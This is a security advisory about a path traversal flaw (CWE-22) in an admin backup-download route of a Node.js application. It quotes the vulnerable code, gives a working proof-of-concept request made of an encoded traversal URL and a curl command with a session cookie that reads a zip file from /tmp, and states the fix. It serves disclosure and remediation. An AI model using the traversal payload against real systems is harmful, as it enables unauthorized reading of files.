A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.
router.get(
"/auto-backup-download/:filename",
isAdmin,
error_catcher(async (req, res) => {
const { filename } = req.params; // [1] source
[...]
if (
!isRoot ||
!(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
) {
res.redirect("/admin/backup");
return;
}
const auto_backup_directory = getState().getConfig("auto_backup_directory");
res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
})
);
.zip extension under /tmp folder:echo "secret12345" > /tmp/secret.zip
http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zipcat secret.zip
secret12345
curl -i -X $'GET' \
-H $'Host: localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
$'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'
NOTE:
To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.
Arbitrary zip files download (information disclosure).
Resolve the filename parameter before checking if it starts with backup_file_prefix .
{
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-03T19:46:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
}